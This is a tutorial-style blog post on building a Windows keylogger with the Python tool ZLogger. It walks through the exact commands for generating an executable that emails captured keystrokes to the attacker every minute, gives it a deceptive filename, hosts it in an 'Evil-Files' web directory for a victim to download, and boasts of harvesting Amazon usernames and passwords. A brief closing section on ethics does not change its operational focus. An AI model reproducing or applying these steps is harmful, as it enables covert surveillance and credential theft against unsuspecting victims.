Creating a Keylogger with ZLogger: A Comprehensive Guide
Written on
Chapter 1: Understanding Keyloggers
Keyloggers are a type of surveillance software designed to capture a user's keystrokes. These tools, which are among the oldest forms of cyber threats, can record what you input into various websites and applications, subsequently transmitting that data to unauthorized parties.
Many keyloggers are classified as Trojan programs due to their ability to hide within a system and their rootkit capabilities.
Section 1.1: Introducing ZLogger
ZLogger is a Python-based keylogger developed by security expert Zaid Al-Quraishi. This tool's primary feature is its ability to create a persistent keylogger for both Windows and Linux systems. Notably, ZLogger does not require administrative privileges and can initiate at system startup. It captures every keystroke and sends reports via email to the attacker.
After downloading, navigate to the "ZLogger" directory and list its contents.
Section 1.2: Setting Up ZLogger
To run the program, you will need to use the "python" command. Before executing it, list all available options with the following command:
(root@kali:/opt/ZLogger# python zlogger.py --help)
Now, let's create a keylogger and observe its operation. We will focus on a Windows-based system using the "-w" option combined with an interval of "-i" set to 60 seconds. This configuration will send a report every minute. You will also need to provide your email address with the "-e" option, alongside the email password "-p". This information allows the keylogger to know where to send the captured data. Finally, output your keylogger file using the "-o" option:
(root@kali:/opt/ZLogger# python zlogger.py -i 60 -w -e [email protected] -p johndoesecurity -o please_click_me_I_am_not_a_keylogger)
Next, copy the file to your web server for easy access and download from the target machine:
(root@kali:/opt/ZLogger/dist# cp please_click_me_I_am_not_a_keylogger.exe /var/www/html/Evil-Files/)
Once this executable is downloaded and run on the victim's PC, it will capture keystrokes and send the data to your email.
As demonstrated in the image above, we successfully received a report from ZLogger containing captured usernames and passwords from Amazon.
Chapter 2: Ethical Considerations and Applications
Keyloggers are often exploited by cybercriminals to harvest personal or financial data, such as banking details, which they may then sell or use for illicit profit. However, there are legitimate uses for keyloggers in professional settings, including troubleshooting, enhancing user experience, and employee monitoring. Additionally, law enforcement and intelligence agencies utilize keylogging for surveillance purposes.
The first video titled "Stealing Passwords From Windows Using a Remote Keylogger [zLogger]" provides insights into the practical applications of ZLogger in capturing keystrokes.
The second video, "Keylogger - Python project sends Email with your keys," demonstrates how to implement a keylogger that transmits captured keystrokes via email.